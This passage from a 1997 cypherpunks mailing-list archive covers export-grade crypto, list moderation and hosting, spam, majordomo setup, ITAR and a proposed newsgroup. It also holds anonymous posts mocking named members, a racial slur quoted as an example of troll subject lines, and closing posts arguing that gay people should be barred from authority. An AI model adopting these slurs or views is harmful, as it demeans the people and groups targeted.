| (770) 925-8248 | http://www.wittsend.com/mhw/ NIC whois: MHW9 | An optimist believes we live in the best of all PGP Key: 0xDF1DD471 | possible worlds. A pessimist is sure of it! From ca3sal at isis.sunderland.ac.uk Thu Feb 13 06:56:01 1997 From: ca3sal at isis.sunderland.ac.uk (Stephen.George.Allport) Date: Thu, 13 Feb 1997 06:56:01 -0800 (PST) Subject: 40-bit RC5 crack meaningless?? Message-ID: <199702131456.GAA02065@toad.com> Strassmann wrote: >In summary: The claim of exportable cryptography being totally >insecure, because it can be cracked in 3.5 hours is not >realistic. The three clues announced in the contest >would not apply under infowar conditions. As the UK gets a lot of desktop PC software from the US, ie MS & Lotus we unfouantly have to live with the 40-bit limit. What the RSA Chalange and Ian Goldberg have achived is a couple of aritcales in the broad sheet papers http://www.telegraph.co.uk:80/et?ac=000145546611023&rtmo=33032622&atmo=33032622& P4_FOLLOW_ON=/97/2/4/ecfilm04.html&pg=/et/97/2/4/ecfilm04.html (ouch) and http://go2.guardian.co.uk/archive.html The competion has shown to the general populs and not just "experts" what a crap deal were getting. Three and half hours gets people thinking. Ste From chefren at pi.net Thu Feb 13 06:56:03 1997 From: chefren at pi.net (chefren) Date: Thu, 13 Feb 1997 06:56:03 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut u Message-ID: <199702131456.GAA02066@toad.com> On 11 Feb 97 at 3:54, John Gilmore wrote: > I've come to the conclusion that I'm not willing to host the > cypherpunks list any more. It's not the true assholes that brought me > to this decision; it's the reaction from the bulk of people on the > list: suspicion, flamage, and criticism with every attempt to improve > things. I noticed few people volunteering some of their own time, > money, or machines to help out. Almost all the suggestions were > advice for *other* people to implement: Hm... In the year 1513 or 1514 someone who could be an Honourable Member of this list (if one could be one...) wrote: > There is nothing more difficult to take in hand, more > perilous to conduct, or more uncertain in its success, > than to take the lead in the introduction of a new order > of things. Please stop at looking too much on how people scream about your new ideas and continue this list the way you like it!!! I think it's Your Machine and we have to respect your decision to pull the plug, nobody should blame you for that, but please listen a little to the 1000+ people who don't scream and are obviously happy with the list and respected your right to do the "sandy filter experiment". +++chefren From pete at ubisg.com Thu Feb 13 07:11:01 1997 From: pete at ubisg.com (Pete Capelli) Date: Thu, 13 Feb 1997 07:11:01 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 In-Reply-To: <199702130629.WAA04666@toad.com> Message-ID: <33032F6A.6B34@ubisg.com> jim bell wrote: > > At 03:25 PM 2/12/97 -0800, Timothy C. May wrote: > even more happy to pay, say, 10 cents to each recipient. At that rate, an average > person would probably receive enough "spam" to pay for his Internet > account, quite analogous to the way advertiser-supported TV is presented to > the public for no explicit charge. Yes, but why does monetary compensation make it then O.K.? I'd rather pay for my Internet access, then be bombarded by spam, no matter what they paid me! I think the best soln. is the one that is currently in place for phone calls - they can call once, but if I tell them not to call me again and they do, I can then begin legal action against them. I pay more per month for my phone service than my Internet service ( although in NY, *everything* is more expensive. ), and junk phone calls are way more intrusive then spam. > > Jim Bell > jimbell at pacifier.com -pete -- Pete Capelli, CNE UB Networks, Inc. pcapelli at ub.com ***** Finger pete at idaho.ubisg.com for my PGP Public key !! ***** They that give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety. - Benjamin Franklin, 1759 From ichudov at algebra.com Thu Feb 13 07:11:45 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Thu, 13 Feb 1997 07:11:45 -0800 (PST) Subject: Private property & the cypherpunks list(s) In-Reply-To: <3302E815.5E66@netbox.com> Message-ID: <199702131504.JAA20582@manifold.algebra.com> This is where the distributed nature of the list comes in. if someone disagrees with Jim's AUP, he or she can use soem other mailing list host. igor Greg Broiles wrote: > > (Readers curious about Jim Choate's list ownership/acceptable use > policies might take a look at .) > > Jim Choate wrote: > > > Please explain how making submissions de facto public domain censors > > anyone? > > What the fuck is "de facto public domain"? It's public domain, or it's > not. > > Your scheme imposes a cost (loss of intellectual property rights) > against authors who would like to make themselves heard. It also > prevents a certain class of messages (those messages whose status is > "copyright claimed") from being distributed. Further, your suggestion > that posters be required to include a "fair use header" is compelled > speech. > > That's three flavors of "censorship" right there. I thought that the new > list(s) were supposed to allow anyone to say anything they wanted. > > (Does "no fair use" count as a "fair use header"? It's not legally > enforceable, but it seems like the easiest way to specify "minimum fair > use required by law". If not, are you planning to moderate the list to > make sure that people use only approved fair use headers? Hmm.) > > Even if the "copyright abandonment by implication" trick works (and I > suspect it will not, given that an assignment or transfer of copyright > must be in writing, 17 USC 204; and abandonment is essentially an > assignment or transfer to the public domain), it will not apply to all > text sent to the list. A person cannot abandon or assign something they > do not have; so if someone sends a message to the list which contains > text whose copyright is held by a third party, that copyright will still > be valid. > > So what you've got is a list where you can't be sure that its contents > are public domain, and a draconian rule requiring authors to give up > their rights to what they've written. > > Do you imagine that all of the many-majordomo servers will implement > your "public domain only" rule, or only yours? > > If the rule only applies to the ssz.com version, what's the point? > > If the rule is intended to apply to all servers, and servers aren't > going to be allowed into the network without agreeing to implement it > locally, um, tell me again about that "free speech" thing? Aren't you > just taking advantage of your position as a person working on the > many-majordomos project to impose your ideas about intellectual property > on the rest of the list? Is such a strategy compatible with "free > speech"? > > Also, how could a rule like this possibly be compatible with a Usenet > gateway? There's no chance at all that you can expand a local rule on > your system to all of Usenet through a gateway. > > And Declan McCullagh wrote: > > >I forward articles to cypherpunks that are copyrighted by my employers, or > >magazines like Playboy and Wired for which I write freelance pieces. > > > >I like to think these articles have some value. I will not forward any of > >them, nor would I be able to, if they magically became "public domain." > > Which are good points - also, don't forget that, from time to time, > people have even posted code to the cpunks list, and many software > authors like to retain copyright in their code so that they can insist > on things like noncommercial distribtion or credit where the code is > reused. If a work is truly "public domain", the author has no power to > insist on those things. > > This proposed rule seems to limit postings to those which are perceived > by their authors to be without commercial or reputational value. Is that > a good idea? > > -- > Greg Broiles | US crypto export control policy > gbroiles at netbox.com | in a nutshell: > http://www.io.com/~gbroiles | Export jobs, not crypto. > ====================================== > == This list is still experimental. == > == complain to ichudov at algebra.com == > ====================================== > - Igor. From mhw at wittsend.com Thu Feb 13 07:26:01 1997 From: mhw at wittsend.com (Michael H. Warfield) Date: Thu, 13 Feb 1997 07:26:01 -0800 (PST) Subject: How to make majordomo request confirmations of subscriptions? Message-ID: <199702131526.HAA03585@toad.com> ichudov at algebra.com enscribed thusly: > Hi All, > I would like to set up my majordomo to request subscription > confirmations from users, by sending them a cookie. Looking at the > majordomo config files, I have not found such option. Majordomo 1.94 and above... subscribe_policy = open+confirm Last I looked, majordomo does not have subscription expirations or periodic confirmations. A couple of months ago someone else on a large mailing list I help run suggested a package that would periodically mail a bounce probe. The probe would have explicit instructions to do NOTHING if you wanted to remain on the list, just ignore the message. If the message came back, due to an E-Mail bounce, vacation program, or someone who decided they didn't want to remain on the list after all, you toasted them off. Sort of an inverse confirmation message. I lost the message about the package before I could find it. It sounds like a great compliment to majordomo. Maybe should be another feature for majordomo? Anyone who has heard of this add-on, let me know. I'm still looking for it. > Ideally I would like to have a system that a) requires the > new users confirm new subscriptions and b) once in a while > as users to confirm their existing subscriptions. The instruction which go back with the job results and the confirmation need to be beefed up. I've had a lot of subscribers get "confused" when their STUPID windows mailer breaks their "auth" message into two lines and majordomo refuses to recognize it. Forwarding the confirmation message back or "replying" to it tend to screw up big time, so I modified the message in my version to instruct users to "create a new message with this line as the only line in the body". It's cut down on the screwed up subscriptions immensely. Majordomo also needs to be enhanced a bit to flush out bits and pieces of floatsam in the E-Mail address that are not valid E-Mail addresses... Example: "Michael H. Warfield" would result in messages going back to Michael, H., and Warfield, as well as mhw at wittsend.com. I'm planning on cleaning out any whitespace separated tokens which do not contain an embedded "@" followed by a least one "." and ending with an alpha or a ".". That's on my to-do list for this week or next... Along with upgrading to 1.94.1. > Is there any way to do it? > Thank you. > - Igor. > -- Michael H. Warfield | (770) 985-6132 | mhw at WittsEnd.com (The Mad Wizard) | (770) 925-8248 | http://www.wittsend.com/mhw/ NIC whois: MHW9 | An optimist believes we live in the best of all PGP Key: 0xDF1DD471 | possible worlds. A pessimist is sure of it! From adam at homeport.org Thu Feb 13 07:33:36 1997 From: adam at homeport.org (Adam Shostack) Date: Thu, 13 Feb 1997 07:33:36 -0800 (PST) Subject: Openmarket/128 bit export? Message-ID: <199702131530.KAA11119@homeport.org> Just saw a newswire about Openmarket exporting 128 bit ssl for OM-Transact. Anyone have any details? Adam -- "It is seldom that liberty of any kind is lost all at once." -Hume From nobody at wazoo.com Thu Feb 13 07:37:35 1997 From: nobody at wazoo.com (Anonymous) Date: Thu, 13 Feb 1997 07:37:35 -0800 (PST) Subject: [STATS] Tempest Message-ID: <199702131537.IAA09202@earth.wazoo.com> Deceased L Villainous KOTM's father, an idiot, stumbled across Deceased L Villainous KOTM's mother, an imbecile, when she had no clothes on. Nine months later she had a little moron. o /\O/ O Deceased L Villainous KOTM 0 \\ | 0-# // | / \ From ichudov at algebra.com Thu Feb 13 07:39:21 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Thu, 13 Feb 1997 07:39:21 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" In-Reply-To: Message-ID: <199702131535.JAA20917@manifold.algebra.com> Dr.Dimitri Vulis KOTM wrote: > ichudov at algebra.com writes: > > > 1. A newsgroup like comp.privacy.cypherpunks will be carried on a lot of > > > corprate news servers that don't carry alt.* (or even soc.*). Note that > > > soc.org.cypherpunks is inappropriate since cp is *not* an organization. :-) > > > Another possibility is sci.crypto.cypherpunks. (True, people whose corporat > > > newsservers don't carry soc.* and talk.* can use dejanews - provided their > > > firewall lets them.) > > > > > 2. It takes more work to create a comp.* newsgroup than an alt newsgroup. > > > It takes a vote. I'm willing to be one of the proponents and generally help > > > with the process. (Both I and Igor have been co-proponents of major Usenet > > > newsgroups - don't know about other people onthis list. :-) > > > > Not only it takes a vote. What is more important is what a vote gives: > > a good discussion of the newsgroup and the formal RFD/RFD/CFV process > > ensures that, on average, a good balance is found between various groups > > of readers. > > > > I am not concerned as to what the name of the group will be, it is > > not important. What is important is that it should be in a more or > > less flame-free zone. > > I'm concerned about smart people stuck behind corporate firewalls > and able to see comp.* and sci.*. Nearly every big Wall St firm > is that way. Did I ever relate to you the story how I had to > break through the firwall at GS to accomplish mywork? Would be interesting. > > It is too late to stop alt.cypherpunks, but if I had to make a > > prediction again, I would predict that soon posters will BEG to help > > them create comp.*.cypherpunks, because of spam and alt.flamage. > > Timmy has a valid point: the reason why a comp.* newsgroup might have less > cross-posted and "off-topic" crap is because net.cops would be more > likely to complain to posters' sysadmins. Having a charter state that > cypherpunks have technical means to ignore traffic they don't like, > and don't need anyone forging cancels or complaining to sysadmins > or otherwise getting silenced, is a good idea. It is not only because of that. There are two categories of people who simply do not visit com.* groups: sex spammers and trollers (who post articles like I RAPED A NIGGER CHILD to tens of newsgroups). If the group is created in a space that is isolated from them, that is already good. As for net.cops, check out what Scott Nudds does in comp.lang.c++ > What's going to happen when (not if) someone posts something in > alt.cypherpunks that Chris Lewis (spit) judges to be "spam" > and forges a cancel? Or someone posts a binary and Richard > "little dick" Depew forges a cancel? Chris Lewis can exclude newsgroups from his spam watch. I think that if cypherpunks put something forbidding third party cancels into the charter, he will not cancel stuff posted there. > > > 3. An unmoderated Usenet newsgroup would have even ore crap than this maili > > > list. I've been thinking of how to deal with crap, and with the obvious des > > > by some people to delegate their decision what to read and what not to read > > > to other people. > > > > It is alt.* and soc.* that has most crap, sci and comp are way better. > > There's a bunch of net.cops in e.g. comp.lang.eiffel that complain to > sysadmins of anyone posting to that newsgroup who's in a member of the > "in" crowd". It may or may not cut down on the crap, but is it worth it? Yes, there is a notorious net.cop The Right Reverend Colin James III (spit). A sample of his stukachestvo is attached at the bottom of this letter. >From ares.csd.net!cjames Fri Dec 8 00:00:29 1995 Return-Path: Received: from ares.csd.net by espcbw.stat.ncsu.edu.stat.ncsu.edu with smtp (Smail3.1.29.1 #5) id m0tNxjG-000EDPC; Fri, 8 Dec 95 00:00 PST Received: by ares.csd.net (5.65/DEC-Ultrix/4.3) id AA08055; Thu, 7 Dec 1995 22:02:44 -0700 Message-Id: <9512080502.AA08055 at ares.csd.net> From: cjames at ares.csd.net (Colin James III (The Rt Rev'd)) To: ichudov at espcbw.stat.ncsu.edu (Igor Chudov), postmaster at espcbw.stat.ncsu.edu, postmaster at stat.ncsu.edu, postmaster at ncsu.edu Subject: Re: Nauseating typedefs -- pros and cons Date: Fri, 08 Dec 1995 03:13:53 GMT Organization: CEC Services Reply-To: cjames at ares.csd.net References: <461dph$ske at saba.info.ucla.edu> <48np3j$1b4 at solutions.solon.com> <4a 7rpv$fj at taco.cc.ncsu.edu> X-Mailer: Forte Agent .99b.112 Status: RO On 7 Dec 1995 23:02:23 GMT, ichudov at espcbw.stat.ncsu.edu (Igor Chudov) wrote with possible deletions: | Douglas Evan Cook (cookd at bert.cs.byu.edu) wrote: | * The real question comes down to: when do you need to | * use INT32 or INT16? Usually, you only need it when you are saving info | * to a disk or when you need to make sure that your numbers won't | * overflow. A little bit of hardware control is also given. But when you | * don't get those advantages, a plain int is just great. | | It is NOT great at all. Each variable is associated with a range of | values. This range of values comes from the requirements of external world. | Say, some program _must_ be required by business rules to store | $$ amount as an integer value, and it may be specified in the | requirements that $$amount cannot be more than $1,000,000. If I, | as a careless programmer, program variable dollar_amount as int | just because my RS6000 has 32-bit ints, this program will NOT be | portable to 16-bit computers. | | You can invent an untold amount of such situations. If I defined | DollarAmount_t as UINT32, I would effectively avoid this trouble. | | * So for your scanf | * vars, just use ints. Then do range checking and then assign them into | * the UINT16 type or whatever only if you need to. | | The solution is very simple and cool (IMHO). | | In the same file where you define INT16, UINT32, etc, add the following: | | #ifdef AIX | typedef long INT32; | #define F_INT32 "ld" | | typedef unsigned short UINT16; | #define F_UINT16 "u" | #endif | | #ifdef YOUR_FAVORITE_MACHINE | typedef short INT32; // Maybe for 64-bit machines, never worked with them | #define F_INT32 "d" | ... etc etc ... | | Then you define your user types: | | typedef INT32 DollarAmount_t; | #define DollarAmount_f INT32_F // You make it a rule to define | // formats right along with types | | Usually, in scanf (and printf) people write things like this: | | printf( "%ld is the dollar amount for customer %4.4d\n", | amount, cust ); | | Instead, you write | | printf( "%" DollarAmount_f " is the dollar amount for customer " | "%4.4" Cust_f, | amount, cust ); | | It is a totally portable code. All you need to port primitive types | is to recompile it. | | -- | - Igor. (My opinions only) http://www.algebra.com/~ichudov/index.html | For public PGP key, finger me or send email with Subject "send pgp key" | | You know you have achieved perfection in design, not when you have nothing | more to add, but when you have nothing more to take away. | - Antoine de Saint Exupery. Kindly remove comp.lang.eiffel from distribution of this thread. ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ Colin James III, Principal Scientist cjames at csd.net CEC Services, 2080 Kipling St, Lakewood, CO 80215-1502 USA Voice: 303.231.9437; Facsimile: .231.9438; Data: .231.9434 ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ - Igor. From pete at ubisg.com Thu Feb 13 07:40:54 1997 From: pete at ubisg.com (Pete Capelli) Date: Thu, 13 Feb 1997 07:40:54 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 Message-ID: <199702131540.HAA04218@toad.com> jim bell wrote: > > At 03:25 PM 2/12/97 -0800, Timothy C. May wrote: > even more happy to pay, say, 10 cents to each recipient. At that rate, an average > person would probably receive enough "spam" to pay for his Internet > account, quite analogous to the way advertiser-supported TV is presented to > the public for no explicit charge. Yes, but why does monetary compensation make it then O.K.? I'd rather pay for my Internet access, then be bombarded by spam, no matter what they paid me! I think the best soln. is the one that is currently in place for phone calls - they can call once, but if I tell them not to call me again and they do, I can then begin legal action against them. I pay more per month for my phone service than my Internet service ( although in NY, *everything* is more expensive. ), and junk phone calls are way more intrusive then spam. > > Jim Bell > jimbell at pacifier.com -pete -- Pete Capelli, CNE UB Networks, Inc. pcapelli at ub.com ***** Finger pete at idaho.ubisg.com for my PGP Public key !! ***** They that give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety. - Benjamin Franklin, 1759 From ichudov at algebra.com Thu Feb 13 07:40:56 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Thu, 13 Feb 1997 07:40:56 -0800 (PST) Subject: Private property & the cypherpunks list(s) Message-ID: <199702131540.HAA04224@toad.com> This is where the distributed nature of the list comes in. if someone disagrees with Jim's AUP, he or she can use soem other mailing list host. igor Greg Broiles wrote: > > (Readers curious about Jim Choate's list ownership/acceptable use > policies might take a look at .) > > Jim Choate wrote: > > > Please explain how making submissions de facto public domain censors > > anyone? > > What the fuck is "de facto public domain"? It's public domain, or it's > not. > > Your scheme imposes a cost (loss of intellectual property rights) > against authors who would like to make themselves heard. It also > prevents a certain class of messages (those messages whose status is > "copyright claimed") from being distributed. Further, your suggestion > that posters be required to include a "fair use header" is compelled > speech. > > That's three flavors of "censorship" right there. I thought that the new > list(s) were supposed to allow anyone to say anything they wanted. > > (Does "no fair use" count as a "fair use header"? It's not legally > enforceable, but it seems like the easiest way to specify "minimum fair > use required by law". If not, are you planning to moderate the list to > make sure that people use only approved fair use headers? Hmm.) > > Even if the "copyright abandonment by implication" trick works (and I > suspect it will not, given that an assignment or transfer of copyright > must be in writing, 17 USC 204; and abandonment is essentially an > assignment or transfer to the public domain), it will not apply to all > text sent to the list. A person cannot abandon or assign something they > do not have; so if someone sends a message to the list which contains > text whose copyright is held by a third party, that copyright will still > be valid. > > So what you've got is a list where you can't be sure that its contents > are public domain, and a draconian rule requiring authors to give up > their rights to what they've written. > > Do you imagine that all of the many-majordomo servers will implement > your "public domain only" rule, or only yours? > > If the rule only applies to the ssz.com version, what's the point? > > If the rule is intended to apply to all servers, and servers aren't > going to be allowed into the network without agreeing to implement it > locally, um, tell me again about that "free speech" thing? Aren't you > just taking advantage of your position as a person working on the > many-majordomos project to impose your ideas about intellectual property > on the rest of the list? Is such a strategy compatible with "free > speech"? > > Also, how could a rule like this possibly be compatible with a Usenet > gateway? There's no chance at all that you can expand a local rule on > your system to all of Usenet through a gateway. > > And Declan McCullagh wrote: > > >I forward articles to cypherpunks that are copyrighted by my employers, or > >magazines like Playboy and Wired for which I write freelance pieces. > > > >I like to think these articles have some value. I will not forward any of > >them, nor would I be able to, if they magically became "public domain." > > Which are good points - also, don't forget that, from time to time, > people have even posted code to the cpunks list, and many software > authors like to retain copyright in their code so that they can insist > on things like noncommercial distribtion or credit where the code is > reused. If a work is truly "public domain", the author has no power to > insist on those things. > > This proposed rule seems to limit postings to those which are perceived > by their authors to be without commercial or reputational value. Is that > a good idea? > > -- > Greg Broiles | US crypto export control policy > gbroiles at netbox.com | in a nutshell: > http://www.io.com/~gbroiles | Export jobs, not crypto. > ====================================== > == This list is still experimental. == > == complain to ichudov at algebra.com == > ====================================== > - Igor. From haystack at holy.cow.net Thu Feb 13 07:43:31 1997 From: haystack at holy.cow.net (Bovine Remailer) Date: Thu, 13 Feb 1997 07:43:31 -0800 (PST) Subject: No Subject Message-ID: <199702131524.KAA00149@holy.cow.net> There's a rumor that Tim May sells his dead relatives as fertilizer as they constitute the best shit in California. n ___ n H /. .\ H Tim May nHnn . nnHn / /\___/\ \ From nobody at huge.cajones.com Thu Feb 13 08:05:58 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Thu, 13 Feb 1997 08:05:58 -0800 (PST) Subject: Dale-Further proof Message-ID: <199702131605.IAA21730@mailmasher.com> Yet another Dale day (blah): :Date: Wed, 12 Feb 1997 22:37:58 -0800 :From: Dale Thorn :To: cypherpunks at toad.com :CC: dlv at bwalk.dm.com :Another blood stain on Gilmore's shroud, as it were. As further evidence that Dale is unworthy to participate in any socially interactive behaviour other than grinding (that is, grinding) his nose in the naysayers, collective ass, I submit that he posts mixed and otherwise unclear metaphores. Ipso facto. As difficult as the good doctor can be, Dale is not intellectually worthy to lick his boots, though he tries. And, cc: Doctor V., no less. What cabal is this with cc's in the clear? Love you, fella. (You can tell, can't you.) From adam at homeport.org Thu Feb 13 08:10:56 1997 From: adam at homeport.org (Adam Shostack) Date: Thu, 13 Feb 1997 08:10:56 -0800 (PST) Subject: Openmarket/128 bit export? Message-ID: <199702131610.IAA04897@toad.com> Just saw a newswire about Openmarket exporting 128 bit ssl for OM-Transact. Anyone have any details? Adam -- "It is seldom that liberty of any kind is lost all at once." -Hume From bgrosman at magna.com.au Thu Feb 13 08:11:29 1997 From: bgrosman at magna.com.au (Benjamin Grosman) Date: Thu, 13 Feb 1997 08:11:29 -0800 (PST) Subject: Transmission of Crypto material and ITAR Message-ID: <199702131611.IAA04908@toad.com> Dear All, I have a question regarding the impossible enforcement of ITAR/EAR: Naturally I cannot download crypto software from the US, but most of these sites have mirrors in other countries, such as the UK for PGP, and sweden and finland for lots of things. However, with the way that information is routed throughout the internet from these sites, whenever I, in Australia, request packets containing this data from the UK etc, it invariably passes through the US from coast to coast! Therefore, if ITAR/EAR tries to govern that, aren't they really trying to enforce something totally unenforcable? Surely they cannot expect all gateways operated by, say, Sprint and MCI to packet sniff 'n' search? Can anyone tell me what the ruling is with regards to this? Yours Sincerely, Benjamin Grosman ---------------------------------------------------------------- Benjamin Grosman - Programmer, Magna Data Internet Solutions Quidquid latine dictum sit, altum viditur. [Whatever is said in Latin sounds profound.] ---------------------------------------------------------------- From ichudov at algebra.com Thu Feb 13 08:11:34 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Thu, 13 Feb 1997 08:11:34 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" Message-ID: <199702131611.IAA04916@toad.com> Dr.Dimitri Vulis KOTM wrote: > ichudov at algebra.com writes: > > > 1. A newsgroup like comp.privacy.cypherpunks will be carried on a lot of > > > corprate news servers that don't carry alt.* (or even soc.*). Note that > > > soc.org.cypherpunks is inappropriate since cp is *not* an organization. :-) > > > Another possibility is sci.crypto.cypherpunks. (True, people whose corporat > > > newsservers don't carry soc.* and talk.* can use dejanews - provided their > > > firewall lets them.) > > > > > 2. It takes more work to create a comp.* newsgroup than an alt newsgroup. > > > It takes a vote. I'm willing to be one of the proponents and generally help > > > with the process. (Both I and Igor have been co-proponents of major Usenet > > > newsgroups - don't know about other people onthis list. :-) > > > > Not only it takes a vote. What is more important is what a vote gives: > > a good discussion of the newsgroup and the formal RFD/RFD/CFV process > > ensures that, on average, a good balance is found between various groups > > of readers. > > > > I am not concerned as to what the name of the group will be, it is > > not important. What is important is that it should be in a more or > > less flame-free zone. > > I'm concerned about smart people stuck behind corporate firewalls > and able to see comp.* and sci.*. Nearly every big Wall St firm > is that way. Did I ever relate to you the story how I had to > break through the firwall at GS to accomplish mywork? Would be interesting. > > It is too late to stop alt.cypherpunks, but if I had to make a > > prediction again, I would predict that soon posters will BEG to help > > them create comp.*.cypherpunks, because of spam and alt.flamage. > > Timmy has a valid point: the reason why a comp.* newsgroup might have less > cross-posted and "off-topic" crap is because net.cops would be more > likely to complain to posters' sysadmins. Having a charter state that > cypherpunks have technical means to ignore traffic they don't like, > and don't need anyone forging cancels or complaining to sysadmins > or otherwise getting silenced, is a good idea. It is not only because of that. There are two categories of people who simply do not visit com.* groups: sex spammers and trollers (who post articles like I RAPED A NIGGER CHILD to tens of newsgroups). If the group is created in a space that is isolated from them, that is already good. As for net.cops, check out what Scott Nudds does in comp.lang.c++ > What's going to happen when (not if) someone posts something in > alt.cypherpunks that Chris Lewis (spit) judges to be "spam" > and forges a cancel? Or someone posts a binary and Richard > "little dick" Depew forges a cancel? Chris Lewis can exclude newsgroups from his spam watch. I think that if cypherpunks put something forbidding third party cancels into the charter, he will not cancel stuff posted there. > > > 3. An unmoderated Usenet newsgroup would have even ore crap than this maili > > > list. I've been thinking of how to deal with crap, and with the obvious des > > > by some people to delegate their decision what to read and what not to read > > > to other people. > > > > It is alt.* and soc.* that has most crap, sci and comp are way better. > > There's a bunch of net.cops in e.g. comp.lang.eiffel that complain to > sysadmins of anyone posting to that newsgroup who's in a member of the > "in" crowd". It may or may not cut down on the crap, but is it worth it? Yes, there is a notorious net.cop The Right Reverend Colin James III (spit). A sample of his stukachestvo is attached at the bottom of this letter. >From ares.csd.net!cjames Fri Dec 8 00:00:29 1995 Return-Path: Received: from ares.csd.net by espcbw.stat.ncsu.edu.stat.ncsu.edu with smtp (Smail3.1.29.1 #5) id m0tNxjG-000EDPC; Fri, 8 Dec 95 00:00 PST Received: by ares.csd.net (5.65/DEC-Ultrix/4.3) id AA08055; Thu, 7 Dec 1995 22:02:44 -0700 Message-Id: <9512080502.AA08055 at ares.csd.net> From: cjames at ares.csd.net (Colin James III (The Rt Rev'd)) To: ichudov at espcbw.stat.ncsu.edu (Igor Chudov), postmaster at espcbw.stat.ncsu.edu, postmaster at stat.ncsu.edu, postmaster at ncsu.edu Subject: Re: Nauseating typedefs -- pros and cons Date: Fri, 08 Dec 1995 03:13:53 GMT Organization: CEC Services Reply-To: cjames at ares.csd.net References: <461dph$ske at saba.info.ucla.edu> <48np3j$1b4 at solutions.solon.com> <4a 7rpv$fj at taco.cc.ncsu.edu> X-Mailer: Forte Agent .99b.112 Status: RO On 7 Dec 1995 23:02:23 GMT, ichudov at espcbw.stat.ncsu.edu (Igor Chudov) wrote with possible deletions: | Douglas Evan Cook (cookd at bert.cs.byu.edu) wrote: | * The real question comes down to: when do you need to | * use INT32 or INT16? Usually, you only need it when you are saving info | * to a disk or when you need to make sure that your numbers won't | * overflow. A little bit of hardware control is also given. But when you | * don't get those advantages, a plain int is just great. | | It is NOT great at all. Each variable is associated with a range of | values. This range of values comes from the requirements of external world. | Say, some program _must_ be required by business rules to store | $$ amount as an integer value, and it may be specified in the | requirements that $$amount cannot be more than $1,000,000. If I, | as a careless programmer, program variable dollar_amount as int | just because my RS6000 has 32-bit ints, this program will NOT be | portable to 16-bit computers. | | You can invent an untold amount of such situations. If I defined | DollarAmount_t as UINT32, I would effectively avoid this trouble. | | * So for your scanf | * vars, just use ints. Then do range checking and then assign them into | * the UINT16 type or whatever only if you need to. | | The solution is very simple and cool (IMHO). | | In the same file where you define INT16, UINT32, etc, add the following: | | #ifdef AIX | typedef long INT32; | #define F_INT32 "ld" | | typedef unsigned short UINT16; | #define F_UINT16 "u" | #endif | | #ifdef YOUR_FAVORITE_MACHINE | typedef short INT32; // Maybe for 64-bit machines, never worked with them | #define F_INT32 "d" | ... etc etc ... | | Then you define your user types: | | typedef INT32 DollarAmount_t; | #define DollarAmount_f INT32_F // You make it a rule to define | // formats right along with types | | Usually, in scanf (and printf) people write things like this: | | printf( "%ld is the dollar amount for customer %4.4d\n", | amount, cust ); | | Instead, you write | | printf( "%" DollarAmount_f " is the dollar amount for customer " | "%4.4" Cust_f, | amount, cust ); | | It is a totally portable code. All you need to port primitive types | is to recompile it. | | -- | - Igor. (My opinions only) http://www.algebra.com/~ichudov/index.html | For public PGP key, finger me or send email with Subject "send pgp key" | | You know you have achieved perfection in design, not when you have nothing | more to add, but when you have nothing more to take away. | - Antoine de Saint Exupery. Kindly remove comp.lang.eiffel from distribution of this thread. ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ Colin James III, Principal Scientist cjames at csd.net CEC Services, 2080 Kipling St, Lakewood, CO 80215-1502 USA Voice: 303.231.9437; Facsimile: .231.9438; Data: .231.9434 ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ - Igor. From robertn at dm.net.lb Thu Feb 13 08:14:41 1997 From: robertn at dm.net.lb (Robert Nadra) Date: Thu, 13 Feb 1997 08:14:41 -0800 (PST) Subject: FW: I would like to be out of your mailing list Message-ID: <01BC19D7.EE75ECA0@pm2-s0.dm.net.lb> I would like to get out of your mailing list , please indicate the correct procedure. Thanks. From aga at dhp.com Thu Feb 13 08:25:02 1997 From: aga at dhp.com (aga) Date: Thu, 13 Feb 1997 08:25:02 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <19970212165137.12190.qmail@anon.lcs.mit.edu> Message-ID: On 12 Feb 1997, Against Moderation wrote: > Date: 12 Feb 1997 16:51:37 -0000 > From: Against Moderation > To: aga > Cc: cypherpunks at toad.com, cypherpunks at pgh.org, > InterNet Freedom Council , ichudov at algebra.com, > dlv at bwalk.dm.com, Freedom Knights > Subject: Re: Moderation experiment almost over; "put up or shut up" > > aga writes: > > > Yes, and just why is Gilmore such a jerk? Could his homosexuality > > have anything to do with it? > > Doubtful. Given the fact that gay people suffer a great deal of > discrimination, they generally tend to be fairly open-minded. I see > no reason to believe Gilmore is in fact gay, but if he is it in no way > affects my opinion of him. > Well, the fact remains that the homos are instrumental in creating and forming a cliquish and censored usenet. There is just no question about that. Remember the previous cypherpunk who stated that the gays "created and run usenet." > > Maybe they just wanted you to leave, Gilmore. After all, your EFF has > > ruined the reputation of the InterNet, and your homosexuality is a bad > > sign. Homos should not be allowed to have any authority positions > > anyplace on the net. > > Your bigotry seriously undermines the effectiveness of any > anti-censorship arguments you make. Your assumption that I am a "bigot" makes it you appear uninformed. Sexism is good, but racism is bad. A sexist is not a bigot. The only one who qualifies as a "bigot" is a racist. > Are you just trying to get > everyone to hate those who oppose censorship on cypherpunks. Which > side are you on anyway? > It is very logical and wise to discriminate on the basis of sex. I am not a racist, so therefore I can not be a "bigot," regardless of my views on homosexuality. From warlord at MIT.EDU Thu Feb 13 08:43:32 1997 